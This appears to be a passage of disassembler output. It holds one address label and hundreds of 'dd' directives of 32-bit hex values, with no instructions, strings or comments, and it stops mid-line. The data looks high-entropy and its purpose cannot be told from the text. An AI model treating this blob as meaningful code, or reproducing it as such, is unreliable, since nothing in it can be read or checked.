577DF400h dd 0D1C1E977h, 24044CD2h, 121766h, 8308E89Bh, 50401C0h dd 415056E0h, 0B2CC45BAh, 0E108CD77h, 3E9725C9h, 2A7DDFA7h dd 4F5D5F5h, 4C6FE668h, 44D6E055h, 6B4AEBF0h, 3508F806h dd 0E3C095B2h, 8D2747ECh, 7223F43Dh, 0B494D56h, 288A7377h dd 348A0B72h, 8812163Ch, 72900809h, 0F083A65Eh, 2F417AEDh dd 41FA258Eh, 9CF21802h, 75EA89FCh, 11C748Bh, 0AF41D731h dd 0D82A5FFDh, 0F15E21E7h, 0E9C5A8E2h, 6A79BA02h, 0ABE442A1h dd 0FC5F17F3h, 0E953052Fh, 65FB86D0h, 521B7220h, 5E87C41h dd 977992CCh, 365C8709h, 610CE507h, 0DBF6C02Eh, 1903D930h dd 0D805F0E9h, 2D4925Bh, 5ED793ECh, 8CEED2E8h, 4B188E20h dd 49C63FEh, 0EF014A31h, 0DCCDD20h, 4B6E7EBBh, 1DCF13DFh dd 9A88CB90h, 0A84AEED4h, 2A8DF308h, 0F790A01h, 1DF13709h dd 7704CBB3h, 596839A3h, 9E75BFE4h, 76803C5Fh, 0E9492264h dd 41DB5B41h, 234B9BD1h, 24E43006h, 9385A2D7h, 130B02FAh dd 12E038D5h, 5BD3DC5Fh, 40FAC617h, 72CCEA0Dh, 0E92D15E7h dd 5A6AFAFBh, 66A032E3h, 2E087141h, 0BB775CCh, 0D8DDE9D5h dd 1391BFA8h, 4AD5B894h, 0C285DEB6h, 606E9D84h, 0AC7A9AFh dd 3773C388h, 310E27E0h, 0DDE21480h, 0C2C4AD71h, 912343Fh dd 1274A803h, 0C5C75E2Fh, 0CF9BAE56h, 0D62CE64Ah, 0BBD8E28h dd 466956EFh, 0A0CD858h, 92424ACEh, 76212FB3h, 2CAED290h dd 0DFEC015Fh, 0E925A1E6h, 80AD60F8h, 0FE3419C4h, 977B0ACCh dd 0E109BC06h, 9708C602h, 0EB4F22DEh, 0BE08C0BCh, 6B0B7A4Fh dd 867DB003h, 951352A0h, 0C2C8B863h, 50287A3Ah, 0CC80F20Eh dd 0C6B12399h, 4E69C0C7h, 0F6679D9Bh, 4CE274ACh, 0A552E70Dh dd 9917E1D1h, 979F02B3h, 222E5649h, 1C482840h, 0F4D1C68h dd 32E89684h, 5E2FF120h, 0E8167E55h, 0B5E9C1DBh, 78716319h dd 0D2179A5Bh, 0B88419A9h, 0A0213EDh, 0FE011B4Ah, 64A171DEh dd 7DEC5A82h, 56FDFC5Eh, 0D6B90893h, 1258BE01h, 412F180Eh dd 0F32F5FF5h, 41837B67h, 3C94DD90h, 1F799BACh, 4B4A1436h dd 0C2C8F2BFh, 3A5BFF87h, 0EE00FCBCh, 0E92AB966h, 65C17D76h dd 7BD3431Bh, 70B18130h, 9354E05Ah, 356805D3h, 1BCCBB7Fh dd 0C349586Fh, 321C374Ah, 0A36101E9h, 0CE8B6C3Ah, 36AD85C6h dd 2CB3DF80h, 2D7F0593h, 81FACC7Eh, 0AF9D4EE4h, 0E88CD930h dd 4332AFAFh, 0BC37F724h, 54531D32h, 4486D3C9h, 0AC575FDBh dd 61EBB548h, 6F1B1h, 0BA91E5E9h, 401CA279h, 2D0BC55Eh dd 205C3B5Fh, 131B2F3Eh, 743E8E4h, 4A597D10h, 2DC10060h dd 31957098h, 0A2B5CBB5h dd 77F7C6E8h, 0A8C6F421h, 5E7CB5CCh, 4F8FE830h, 0B04A00F8h dd 0C31F80B1h, 0ABD2E9DCh, 0E9B170BDh, 0B36D2440h, 0CA24B077h dd 5159C404h, 77F442h, 2034D8F6h, 0CC7800Eh, 0EF5D7D28h dd 23084C6Eh, 505309B6h, 0D9DA5E02h, 455234FEh, 19CB8C3Dh dd 6CBFE511h, 26F57FA5h, 0A6E1925Bh, 50201091h, 200B202h dd 57683CF8h, 0BA65377Ah, 0B7A9956Dh, 3C230657h, 46BF04E1h dd 0FE69F62Ch, 0FDD24E87h, 1BE0A0A8h, 0B3B1125h, 6E3C15Bh dd 0E9242C78h, 71A5D7EAh, 0ACAE4474h, 0CCB24F90h, 143B72F5h dd 31DA303h, 700BF735h, 34DF1215h, 0F2119008h, 3D282E2Ah dd 0D36BF83Ch, 981EFF2Ch, 0D5029F45h, 5DBBA4F1h, 0D41897A2h dd 0E4EB6DB7h, 9EAAC09h, 9E8B4056h, 66A2FAh, 371086BFh dd 4998FA4Dh, 0D0266741h, 0DC111756h, 5A40E765h, 5322C4F7h dd 7BDBAFECh, 50833F4Ch, 0BD905566h, 3BED11A0h, 0A7138181h dd 95F6338Fh, 0A10DE584h, 568D2BE6h, 76FEC282h, 4B606111h dd 625630Ah, 28BFD677h, 67910135h, 0FE94066h, 4D294082h dd 515C807Eh, 622E05BFh, 0F1B073E0h, 0B35620E9h, 0C4E5C12Eh dd 0ACA6C71Fh, 1D09CC4Eh, 0E8105AE8h, 0EFCF1AE6h, 0C2457C14h dd 71D1CCE4h, 3202DA88h, 43493962h, 24AF70F7h, 80C0BC1Fh dd 61B0A912h, 50685856h, 302AAC51h, 0D4EF81DAh, 2AED5405h dd 0A710F701h, 0D75E2708h, 0B4B124B2h, 96D46952h, 0BE494812h dd 0D82E7455h, 0BB26685Dh, 0A3C1BD73h, 0CA30FE2Fh, 41BA4079h dd 0C90781E2h, 1D21341Ch, 184DD6Fh, 13AB3A2Dh, 0D3C77349h dd 888DEFFDh, 5886F82Ah, 9CAD5AEDh, 0EEA39C4h, 0D0829DD1h dd 0C842840Fh, 5C3268BBh, 0EFD7F22Ah, 85EA3B2Ch, 4E2CE904h dd 7EF98EEAh, 5A922CE1h, 0E9F18DACh, 7EA465A6h, 1319CDE4h dd 1307D4Dh, 54BEC9F1h, 0C18840E1h, 0E022005h, 0E9CE0136h dd 304954E3h, 0F58851DAh, 0F798ECE4h, 4D87A34Eh, 6EFFB9B0h dd 0BC7A5EC6h, 0DC16696Fh, 9E545860h, 0CCEBE1C0h, 1CADD28Ah dd 0D85BDE29h, 66512CFEh, 8B4AA224h, 59328C02h, 7CE0550Eh dd 0F05F215Fh, 60BB1F98h, 70BF5063h, 322FC249h, 806F401h dd 8B0BF485h, 55DF3208h, 9422E590h, 4263F19Fh, 0FB54D8ACh dd 84BF5758h, 87090AB4h, 60E67F1Ch, 20C1DF7Dh, 409468ADh dd 0F4073F26h, 0D2523D06h, 99FF3A20h, 807458C2h, 0BBE70581h dd 0EA63C26Ah, 503192C2h, 0C0BEBC66h, 402D685Fh, 4B58F99Dh dd 16FDD4C0h, 7E388C2Fh, 0A2D42711h, 16888B65h, 5E7559D3h dd 17335785h, 6051A1DAh, 21D32D26h, 0D31A41ACh, 65F7111Bh dd 0B2E986BFh, 0E0772199h, 48359727h, 39DCEA73h, 0F54FF645h dd 0E90800A7h, 76C41F96h, 7DAE1C8Bh, 0FAA7606Ch, 0B1BEA2BFh dd 4E76643Bh, 89FC02h, 0A620311h, 155DEE31h, 9F493BE9h dd 0C1423205h, 0A9528202h, 3467C5C1h, 1325EF42h, 8D8BF6C9h dd 2F901488h, 3E489C0h, 0B6B30B53h, 33D4DC28h, 0B0C2E904h dd 8B120ADh, 0DCFC5823h, 312F7512h, 9016E01h, 0C9E791Dh dd 55B34B27h, 0E3B53805h, 723C109Fh, 0D5C5C84Fh, 88FF04E3h dd 9B5BB33h, 6024D4CEh, 6CA355A5h, 634E67FEh, 61212132h dd 0BA009C9Ch, 0BF285D97h, 5404CE77h, 5266DF2Bh, 9C471AB4h dd 148912BFh, 7A05D472h, 0C4434562h, 314EC72Bh, 2A2676F6h dd 18C8ACB0h, 180B405Bh, 2E3315ECh, 0B7C4360Ch, 5403890Bh dd 435D3F87h, 0C8CBFE1Dh, 5C13321Bh, 0BA0770DCh, 0BD55020Fh dd 576A5A8Ah, 100F15DAh, 87A177Fh, 30A60444h, 6C37C2BFh dd 1C01A57h, 9BF7E90Ch, 0BF84957Ah, 43B2CEC5h, 30C201F1h dd 36164C0Dh, 0E2435B68h, 5AC6DCE9h, 579E23BBh, 0FF0B3E2h dd 8628539Dh, 2AF75608h, 0B41C5E61h, 0FC427B0Eh, 18776B5h dd 255104B8h, 0F8C66B54h, 2FD19A06h, 3CDB14D7h, 0EA0A9CBDh dd 0F9BADD27h, 0AF8E389h, 0C91159BDh, 36A582D7h, 34A8FA8Ch dd 0EACDF062h, 991317B2h, 9A8C5DF8h, 0B4E9D7BCh, 0DC55B2h dd 2EB5F5B9h, 0C5EC44FEh, 840987E6h, 7073E919h, 92309D64h dd 483A13Ch, 0AF6D3438h, 684CE06Bh, 0C33BF831h, 27BE21E2h dd 0F57BC389h, 0A89C1E03h, 7FF71702h, 7568530Eh, 0F8F2D1C3h dd 0C62F537Ch, 9792F6BDh, 0C2F1000Bh, 0E716F9A8h, 0BDC2B60Fh dd 1479692Dh, 3C95401h, 37268868h, 5050B76Bh, 290F6461h dd 12BA5EF5h, 3AD45003h, 2DBBE681h, 0F4B67EF3h, 0B076272h dd 0D4E9F129h, 0B41F5BDBh, 0D5BE926h, 17E887E9h, 7609EF01h dd 4EFEE5CBh, 15C9E925h, 0BDED2920h, 20095B4Dh, 71606268h dd 7CCF82CBh, 888344A1h, 80C08105h, 6D636E0Bh, 0BB781E0Ch dd 9EFC052Ch, 3129549h, 5EB068A3h, 0D4DD10D5h, 179DB06h dd 8816CFDh, 14EE805Fh, 4E6D3D27h, 0E9E609D1h, 1B44590Bh dd 0C4AD5D5Ah, 0E92D42E5h, 0D2DE0159h, 0D47B83A8h, 5E629A2Fh dd 92E91DDAh, 0F8BF3403h, 41BB3B40h, 57228683h, 7CDA0E98h dd 60F5DEEAh, 0E64BF30Ah, 5CC270C5h, 6216C6DDh, 5F0B228h dd 2951E9DCh, 4E0867A4h, 0E2252743h, 0E571602Bh, 62C72097h dd 51B1DAD5h, 0BBA2615h, 79A30485h, 890D988h, 0DC955B59h dd 7FE950DDh, 8839AE5Ah, 82119979h, 0A3F202BEh, 604C746Eh dd 0B8C303CBh, 0DF509FC4h, 0C42CC396h, 5300AD10h, 0DC2332BBh dd 0C20BB93Eh, 0FF077B7Dh, 3BFA0809h, 3AB8501Eh, 51FE600h dd 64C103B1h, 907D619h, 0EF50356h, 0F7AF8483h, 68068372h dd 34396FF5h, 51050470h, 0BF81640Fh, 7472DE8h, 2A5B0BC0h dd 0CFE92612h, 0CE5F9871h, 71264284h, 4A3EC61Eh, 0E6574102h dd 5F60EA79h, 69B711EEh, 0D96B5B2Dh, 565F604Eh, 2F8E469Dh dd 4F45CB90h, 0B756AB0Ah, 720B3C6Dh, 96DD5F69h, 8D19A0C1h dd 0D8909508h, 6A4A3E53h, 2D7E52B8h, 48FEA375h, 978262h dd 0B80B1FBDh, 0EA89671Fh, 52490313h, 717DABFh, 8247C29h dd 662BCB5Fh, 98E2B209h, 690C255Eh, 0FCE3E5ACh, 2D2E9E52h dd 1228725Eh, 1E36E018h, 583A570Dh, 4115436Eh, 0F918D4E4h dd 0E5BA4EE3h, 445B2F09h, 0E340142h, 930D561h, 439602CAh dd 0F6E96409h, 0D1A26BEBh, 6BEACDD6h, 0B8CB4E2h, 5602FE70h dd 0D2368268h, 52744242h, 2AE91866h, 37C73FC5h, 2F2D490Ch dd 0BE0D6A47h, 0CBF01D7Bh, 361052A6h, 2EB24BF7h, 920BF3A1h dd 76136826h, 50C91FECh, 0BB9F6777h, 0F0D711DEh, 2AB1A2D3h dd 80288A6Fh, 7B63E0F5h, 0F015BE7Fh, 98317302h, 0B8B90F3h dd 37E848EDh, 0C8292E60h, 0C34B5BD9h, 0EABDC42Bh, 680B5F2Bh dd 59F12A7Fh, 0AB29309Bh, 0BB931D26h, 7C81B983h, 2A78B405h dd 46BC5C6Dh, 0F1ECF54Bh, 0F83B5CDEh, 4960AF4Bh, 240E7C79h dd 7F20D7Ah, 91354053h, 3C76E02Ch, 94891670h, 4C0E2AEFh dd 31F21092h, 190C5232h, 40C05D04h, 4C7873E7h, 0F125896Ah dd 0FEC50AD6h, 0EA01E291h, 11BFD83Fh, 0C549385Ah, 77FE428Ah dd 9FE0B7E1h, 884BD733h, 5A9D14EBh, 0B4F2A951h, 251FE4AAh dd 0BA3BF4Ah, 909F110h, 987B6768h, 12B6521Ah, 0EEF48885h dd 967C8FCCh, 0A19C25FFh, 1169E62Fh, 9ECF3174h, 1C5E95E2h dd 4AD1B75Ch, 54040DB4h, 0F78C8AF6h, 0DAC54F93h, 18B4425Ch dd 5ADDB914h, 600EAA5Bh, 10B6198h, 16BD588Ah, 2021F445h dd 7DBE2977h, 0D2ABDC69h, 2BB9461h, 0E040D55Ah, 42B05455h dd 0DE840C4Bh, 5FE97578h, 218580AAh, 21905EF3h, 0F6192825h dd 98516438h, 5C16B05Dh dd 61EFC588h, 2225B42Eh, 0C16D1513h, 0B668828Bh, 3404CC7Ah dd 0BE2E1964h, 0A2D274A6h, 641050AEh, 0A780EF9Ch, 94BE629h dd 0B718FAFBh, 0CB809001h, 64EAE13Bh, 0B975A7Ch, 1A350598h dd 0C55F9745h, 1C3D2301h, 1E602516h, 0B80140C7h, 5376FE0Ah dd 123EA70Ah, 71B21080h, 5B54257Ch, 757AF3F4h, 0DEB5F5E8h dd 80CDFE07h, 0AB3E34E5h, 87D86DAh, 0E90F0A06h, 0A787364Dh dd 981647DEh, 0F0745689h, 0B9510F53h, 5620799Ch, 34C0D3BBh dd 10ED42E9h, 0DB27F4D2h, 401155E0h, 3601FD35h, 3A1100Dh dd 0E968435Dh, 0F1E827F7h, 339F5452h, 0E37A078Bh, 0C022A856h dd 0CD4DBAF1h, 0D0F1019Fh, 17B6649h, 910E0B1Dh, 0E8F03E09h dd 59AC2556h, 6E43880h, 639752FCh, 0A5EDDCC4h, 4C04434Ch dd 0B87CF444h, 3EEB19Bh, 0F66006B0h, 3116CAE3h, 9FE536Fh dd 3225EFC8h, 44B82533h, 0BB78C32Fh, 277D34CBh, 2BD9541Dh dd 2087F397h, 3FFF35D1h, 715974E6h, 739E30F3h, 57D30102h dd 0D5158D68h, 0E7C252C3h, 0A6219208h, 97C83E3Ah, 0A1F714B3h dd 0B8F4B7Bh, 0D1853199h, 125AADCDh, 61ABDFFEh, 80456818h dd 25912D1Ch, 0A0501F3h, 477161D9h, 58293DF6h, 9670BFCh dd 6FE354A0h, 0CB04F2Eh, 3A3B7109h, 1C87E65h, 3380C8C7h dd 52E92E08h, 0E52B450Eh, 1348CCB4h, 0B1077F79h, 5E5898D0h dd 0D9D4B46Dh, 28871BB0h, 7489F424h, 36268E00h, 810301CCh dd 0AE74EAEBh, 7FE06F2Fh, 88E02AE9h, 2B1F32B3h, 2BF76CF1h dd 0FF3A03D0h, 854580Eh, 1665A684h, 4F1747ECh, 31CF4068h dd 104590Ah, 7EA6C8B7h, 6E0E0665h, 2622C0E9h, 717FD895h dd 0BD3A9A47h, 0D45B83E1h, 17659505h, 0F0D012h, 39127E16h dd 0FA31ED81h, 8C5DE81Ah, 820D92Ah, 0E93409B6h, 895AF713h dd 8F736030h, 6F4D68B9h, 12A9372Ch, 40FE74ABh, 4CBFE0Dh dd 293878F1h, 4585D2Fh, 0A18F6A0Bh, 705BC014h, 1241D45h dd 0DC15DBD9h, 36A5B980h, 2F53BB3Dh, 595E05F4h, 2D798EBh dd 8E5FC08Ah, 50C43078h, 4E68DB0Ch, 0AC3540h, 1267140h dd 75A0E9D6h, 0DBA067B9h, 981BF709h, 218AF73Fh, 9BD70075h dd 0DAB9287Ch, 32117316h, 1F30908h, 5A586850h, 0ECE1412Ch dd 755F02FBh, 0F749E3DBh, 42404C7h, 92C6619h, 6A55997Fh dd 1FB387F0h, 0EF0BF371h, 472F5FD6h, 42E02555h, 0B2482FA5h dd 4EFE2455h, 0AFE9412Ch, 0F0FCCBDBh, 0AAB90E2Bh, 0BB56FE4Eh dd 0EE39AC41h, 0EA90D536h, 3F6A5178h, 5BD64688h, 46FC3229h dd 0CF20C4FEh, 39D34C20h, 0E879AD66h, 653124BBh, 5E8C0F1Eh dd 40060189h, 0F3BF0E2Dh, 9F0E208Bh, 0AA283485h, 93BD7031h dd 0CA9EA672h, 93B0F256h, 94FD08CDh, 5EBC003h, 25169E80h dd 3574D3B9h, 44B0A0E5h, 0B60FD31h, 92B6B9E6h, 0DE58985Fh dd 0BE0056BEh, 1EA87DACh, 5EF01C29h, 0A05D401h, 0AA4AD748h dd 2B1569h, 7D30685Eh, 8F9029C5h, 63FC064Ah, 0DB75FEA4h dd 4B74CAFAh, 50F2F192h, 0D2DC9F58h, 0A661105Ah, 67BB80F0h dd 7EFB5512h, 15F37020h, 3A4C2DB7h, 17094A74h, 307FF2CEh dd 0CFC91BAFh, 1A07552Ch, 4FD7F723h, 984C1EE2h, 4F6568CFh dd 5B3CCF38h, 348482ECh, 0F841603h, 0A518C1ABh, 0DE6D346Ch dd 23B95B4Fh, 77B3905h, 0F572BC43h, 0A87D601h, 0BA9340C0h dd 89C4BA5Bh, 0D7E90B07h, 690A71B9h, 5AD4757h, 55293E9h dd 0C63AEF79h, 0FAFAF274h, 0F11BC960h, 17ED1AA7h, 0E1D17Ah dd 426C4494h, 0F9093133h, 2425ACE9h, 71B2C649h, 2D50610h dd 1BBE565Ch, 140F65Ah, 897749EEh, 0D0E86016h, 4D22E202h dd 0C52B31E9h, 0FDEC8896h, 42ED8004h, 6692DBCh, 8671BC82h dd 1E48A259h, 0EC839A46h, 7309B711h, 0C2006D53h, 2A510517h dd 6AB80150h, 0E912EA7Ch, 8D07F36Bh, 324925F1h, 5912B78Ah dd 3C354208h, 1657EE1Eh, 7202B39Dh, 0C9A9BDh, 0FD67ED61h dd 1B949D29h, 4F9A70C3h, 0B5FCFC44h, 0C6F0044Ah, 80570BC0h dd 0C387127h, 5EDAB86Dh, 30A28927h, 25B6EDF7h, 4A607B4Fh dd 921FA242h, 9C7A38EFh, 78CB3B4Bh, 0BA27513Fh, 0C0BD6C04h dd 81273493h, 7AC5CD09h, 0E5A400A4h, 9D99E906h, 53E52BDCh dd 0CB3F5099h, 7DE55F5Ch, 900CCA6Ah, 0F70F10DBh, 1FBA5207h dd 0B3AB8719h, 1626BC2Bh, 183C4A21h, 68B0E258h, 8C055B1Bh dd 9BDA598h, 5CBBFCE9h, 3576809Fh, 484D6033h, 4607CB93h dd 0CE76342Ah, 1F9550CAh, 23588CCBh, 0C2092E1Eh, 7F8932ADh dd 0AFB0A196h, 2E1A4D03h, 1E80120h, 67A5C6F2h, 0DB29590Ch dd 884EEC2h, 189B8158h, 5D33248h, 205F895Ah, 42A21885h dd 11868C2h, 0F64B2DFh, 99A249E0h, 0C2695855h, 0A25BC74Ch dd 0C8E9C280h, 0FF800919h, 0F3509F0h, 0DFC9DCB4h, 5D4E5D6Ch dd 5942E2F4h, 0C514190h, 45ED440h, 0E3F095F4h, 9EB1A5Dh dd 0A14ADAF7h, 31170F62h, 3CF5A26Bh, 0E9462422h, 0AB85DF17h dd 0BFC7D9EAh, 0BA0DAC07h, 253776ADh, 2FB07AB1h, 2C1DD49h dd 55341E4Ch, 685189E0h, 5EE90244h, 961A1220h, 0FE2D7615h dd 900236BCh, 0B9DA4E4Eh, 84ED480Dh, 0C102F8E1h, 0DA7D07EDh dd 62CBF02Ch, 0DFEC2206h, 2A12010Bh, 0B32B0113h, 3C08938Eh dd 45916B9h, 8CD27B43h, 0DB1D68EEh, 5B6F777Eh, 0CF870960h dd 0E9BD21FDh, 0BC3ADDF3h, 21BAB5C3h, 85DDEF30h, 4BD3F714h dd 0B53E8580h, 21C92A0Fh, 10F202C6h, 1449836h, 59D54042h dd 50B19B9Bh, 0E7FFBA80h, 0C1BF6525h, 4F5229EEh, 4F72775Eh dd 1FC9BE5Bh, 0B9C0D52Bh, 33FF122Eh, 0E3020712h, 5F294CE1h dd 78D3E393h, 0A20112B4h, 7D13774Ah, 0C26592B4h, 6600465Bh dd 0F2268C68h, 0E15695F0h, 0D2F20143h, 5CBA89CBh, 53EAE0D1h dd 5F5B1C07h, 8074EB5h, 0F5580899h, 2439ACB0h, 0A8B25F51h dd 4D9487Ch, 27977F0h, 35FED0FBh, 8A2C5763h, 2D0BBF48h dd 0DFB8DD21h, 4D704968h, 0ED403BE5h, 7E69CB81h, 9415094h dd 0D96E38F3h, 0DF01488Dh, 920541E7h, 0D266292Bh, 250504B9h dd 0CC378F68h, 0E017B2B6h, 950AB151h, 38A888DFh, 3F3CA109h dd 62BDC129h, 3795E2Dh, 81489970h, 0D5B25EDh, 0E2EA1884h dd 2667C013h, 1FBB76DEh, 67282A36h, 4370C5D6h, 0BBE877E9h dd 14F46B45h, 2CB12F92h, 928DE73Eh, 867F24BFh, 0EF391F9Bh dd 0FF9296CFh, 1FBE0h, 505553C1h, 2C1C7468h, 35584201h dd 3B813C51h, 0A6108B31h, 0F05AF188h, 0D0294A27h, 0F9090AFAh dd 8BBD054Ah, 0ED6C6885h, 1DA716FDh, 437A6098h, 6DFA4B30h dd 0CDB32F93h, 571E09D7h, 2C2AE557h, 0A1DE65A5h, 0FED76B39h dd 0EFCECB37h, 2E62467h, 7C15C6EAh, 5435602h, 0D6F231D8h dd 40680273h, 11626F70h, 0BE0770F0h, 11493374h, 744289A2h dd 0B5183A3h, 0D1D96E2Fh, 0C0AE2C9Ch, 0D3FF0E45h, 5E62B231h dd 7F74C8C2h, 79ED42B7h, 0CE574984h, 1619996Eh, 6332F18Dh dd 0E0B15ED6h, 0BF2F147h, 0D4A05725h, 1D0E4BE7h, 2AF95650h dd 91A90305h, 71B05BE9h, 0EC419D29h, 620FF695h, 0D5047202h dd 0A8C2D00h, 0D124653Eh, 0A0174AE3h, 0AB52D2C2h, 72FFD6F3h dd 0FC0E9AD7h, 76482D4Ch, 14A2846h, 5E4140C8h, 684B3097h dd 0CD253D82h, 405E9A45h, 200F6F1Ch, 23A172Ch, 462EAF68h dd 38633FF8h, 28E2EAD0h, 4CFA5005h, 0B92E013h, 0B9C2BA4Ch dd 7AC2C3D7h, 1D3A4FF8h, 90AFE8D5h, 0F16654A5h, 4C4A125Bh dd 0C11FBF45h, 7125BD49h dd 2EBC843Ch, 0C72680AEh, 0B32D7CB6h, 28965C0Ah, 0B7A2B275h dd 0F7420B5Bh, 0FEBD60F9h, 9D3B9F61h, 0E6DFD692h, 4BAA3027h dd 565FF8C9h, 0B509C7B0h, 0D24D2457h, 71702F9Ah, 79F21E66h dd 5BE7D65Bh, 7072A34Ch, 0CFB9BDADh, 0B8E62A5Dh, 1D9E5B29h dd 1C25CBF1h, 8F70D864h, 61CA6817h, 9494EACCh, 37B520AFh dd 0B67CFDCEh, 0AE808736h, 0F3B5F07Eh, 99344715h, 57582ADCh dd 0ECFC35E9h, 30CDFA3Ah, 126AD5EDh, 5201BADFh, 61C42549h dd 686C52F1h, 129E7850h, 0AF4C8878h, 0FD4E88CBh, 0C00484Fh dd 18E106E9h, 0FCD84E21h, 0C46085EFh, 7F5AC9AFh, 36687C30h dd 6284B661h, 50041A79h, 1048DD80h, 9F6F7F2Fh, 50696AD9h dd 498B8A2h, 0C549B32Dh, 9482EF20h, 0E3BBF5D6h, 268BE20Ch dd 2E6B297h, 0D0F79605h, 417FE883h, 13CFA584h, 0AA22682Ah dd 0FD2E8DC9h, 4BACF6BBh, 0E9D10221h, 83E6F924h, 7C41FBF0h dd 4E63B03Eh, 0F4B7D55Bh, 275A681Fh, 0B32DA7C6h, 0F1AAA235h dd 50E7DD32h, 293D323Fh, 9645DEBAh, 0F7549529h, 49E98579h dd 89CD5DABh, 0B814B8C9h, 193A564Dh, 5E0BD5F7h, 0CF403F2Ch dd 574C1F05h, 0D452DC89h, 1232BBFAh, 0A3D15A38h, 194A66A8h dd 3FF3B4Dh, 42BB0C87h, 0C154191Eh, 5DA55A01h, 0AD44CE01h dd 2F7B0814h, 4D57E062h, 67564845h, 15844425h, 0E888EA29h dd 7E174199h, 0F24E7Dh, 816E1BBDh, 28B25E79h, 642834B6h dd 0E90E0B05h, 97E935C3h, 560EAA90h, 1D644E68h, 7300AB01h dd 0F046958h, 0CF81044Fh, 0FBAC4678h, 0F9F3FDC0h, 0EA406931h dd 5C4BABD0h, 4A84B1B8h, 5D5A0BD4h, 59751E42h, 4CF64BEh dd 2DA2B06Ah, 9F947250h, 588C988Ah, 460BBD59h, 0A784E33h dd 950C8F2Ah, 16DA0C91h, 16656B6Fh, 8B9102Ah, 0FE1C8B16h dd 4F159E6Ch, 0C762E428h, 0E64F5102h, 40DF010Dh, 1F29B908h dd 0C14E4C75h, 341290CEh, 3BF6D826h, 23D51D14h, 0D73201F2h dd 0F7293FB9h, 0AC4BD941h, 2E1CBD00h, 8177F000h, 6803BCF5h dd 4C78E46Fh, 55C99062h, 172D104h, 1FF7EB81h, 9F19F0F6h dd 491E2A01h, 0E4672068h, 0FC93244Eh, 0EDB819Eh, 1775B885h dd 0EB6D83A1h, 0AE2501D5h, 60372D70h, 6B1299D7h, 11000AF1h dd 73CA2B9Fh, 0CE5FA4Dh, 63CE08E7h, 9913C9A4h, 0ACA06B4Eh dd 5BD92489h, 50594021h, 1271E60h, 8229E64Ch, 0A057C20Ch dd 7D40BE07h, 0F0265AEDh, 3F00BC3Dh, 0CAB91E8Dh, 1D728077h dd 56E9D129h, 76D46004h, 81B0626Dh, 134FDA7Fh, 3026C21Eh dd 0A0EC1E97h, 55F25548h, 65506140h, 5E4CC205h, 3387EE83h dd 0F6A8F7C4h, 80C32984h, 0C12C603h, 0E59E6667h, 0C0BF3A35h dd 14078F63h, 0D35E77B8h, 0AAC38A60h, 0BF17E2Fh, 0FE7CB551h dd 16C51281h, 9B2F4601h, 0DC34527Ch, 0C3AE76E2h, 0DD8127A1h dd 89D523Eh, 10E38E1h, 86D4742Dh, 1CA4EA77h, 4A291449h dd 40705D8h, 0FD4839E9h, 0E025134Bh, 77EE3340h, 0A075510Fh dd 3057AB83h, 83182676h, 6752990Bh, 0EB64B60h, 0B14E0C6Ch dd 81CAB75Ch, 46E14752h, 0EBD1856Fh, 6FC1114h, 788719FBh dd 328E120Ch, 6077A11Eh, 8CC0DA90h, 0D8289E2Dh, 0F0291466h dd 1750705h, 3B0843C8h, 6D806EE9h, 559512D4h, 1F41CFFAh dd 526C7A68h, 915D5861h, 40B4C42Eh, 68530203h, 8F27E666h dd 2C5C22C0h, 1E187D3Eh, 201E7ABAh, 0F6E5630h, 5800E320h dd 2907ED37h, 0BB850F3h, 2C0F1DF9h, 3A3D22DDh, 0BC4559B7h dd 0F753090h, 4CFF180h, 40AB78E7h, 6F325A2Dh, 0D5A15E35h dd 0F95DC65Dh, 0EFE09312h, 12A21D1h, 4EE55DC6h, 2E01C928h dd 8179A73Ah, 2BF401CDh, 0BCE907Fh, 48562611h, 2FA550Ah dd 0B7F9D9FAh, 892FC674h, 8904A9D2h, 5EA45DC7h, 3CBEC7D3h dd 7C02BBF0h, 23E95CCBh, 0BAAC67E8h, 45E82132h, 65BF7D8Ch dd 452D16Eh, 0F2BA5AF3h, 84BD90E6h, 1123F4Dh, 66D2AB22h dd 0E06DECE3h, 7829569Fh, 0FBB5D136h, 6F96BDBEh, 5FA7E601h dd 921C4B2Ch, 6CC92E61h, 7C174082h, 82907328h, 0C126C276h dd 84B9C9F2h, 14E5E9F9h, 6AA4294h, 7523EF73h, 84B6E6FEh dd 0F6728981h, 0C16A2116h, 79A248E7h, 31EE44B4h, 5A07FB0h dd 0C096F25Bh, 0A881DF49h, 7322FD68h, 60546E79h, 0E91FB134h dd 33886592h, 2DF883D3h, 93B8115Ah, 8E2DBAF5h, 0FEB2AA20h dd 0C0CA04FEh, 0C1F606EAh, 4941D98h, 6F5700FEh, 0F501237Fh dd 5FF82C1h, 1C3E5B5Ah, 6E2D392h, 33339D43h, 9290F138h dd 7EC12594h, 964CE56Bh, 0A6750F05h, 89A4398Dh, 0B437BEF0h dd 0D3A4DD92h, 97D92286h, 21A50C68h, 0F51D93BAh, 2E183CCEh dd 2732110Ch, 0C9D462B8h, 0CF17D521h, 446D0205h, 42C69DBAh dd 0DFDB62h, 78EFBAC3h, 6936519Fh, 8D5006A5h, 622606F8h dd 940EE805h, 0B4103261h, 4A15EE7h, 0DAAF3BE7h, 0B5A32D78h dd 0FC9F24CEh, 0D5CD50ABh, 0AFA1D397h, 0EA8122B8h, 0A12F2A09h dd 2046500Dh, 5951C351h, 1F776095h, 0D5EB02FBh, 0DEE93951h dd 0F1555210h, 565A62C1h, 6EC61FE1h, 0D9FE2B12h, 0AFAABF92h dd 40AA40EDh, 54EE0935h, 29876B7Dh, 8D213FD0h, 3BE9FA92h dd 0DC77EC81h, 84F6CB81h, 32271820h, 0C011084h, 0B08BD05h dd 2B85AA03h, 0BCCD2280h, 29AF2527h, 56C5A477h, 3AE73C80h dd 0BE420238h, 4B396020h, 0E933817Fh, 1F6D0E4Ch, 2A490807h dd 0DEFDE750h, 94B303A9h, 0FBF1C710h, 0D5685D04h, 0D8D9AB57h dd 0E3A10629h, 87D004D8h, 961D5868h, 57E97081h, 401C099Ah dd 5C0D8F7h, 79D1386Dh, 5A9E0B35h, 89F7CF04h, 0A2B1512Dh dd 9DE0BFDAh, 5081CECCh, 293E3030h, 0BA01810h, 8F79E8D8h dd 8042ADBCh, 0CE215AF9h, 6FF2B859h, 0A6C98D20h, 25D36074h dd 0D16C5E52h, 30F03139h, 45E908C6h, 6F149768h, 16F7C920h dd 0EAD3C380h, 430F1867h, 0FAF6B151h, 0BC9EE0C1h, 0F745C074h dd 2E423CBh, 7858EBA0h, 0E9326605h, 0BFD4BE43h, 661B37FAh dd 0C0B9A81h, 5539063h, 710F5F4h, 0D0AF12FFh, 851027FBh dd 3BEEB1A9h, 9BDFDFB9h, 0D0258772h, 5A50CE20h, 0C6AB915Ah dd 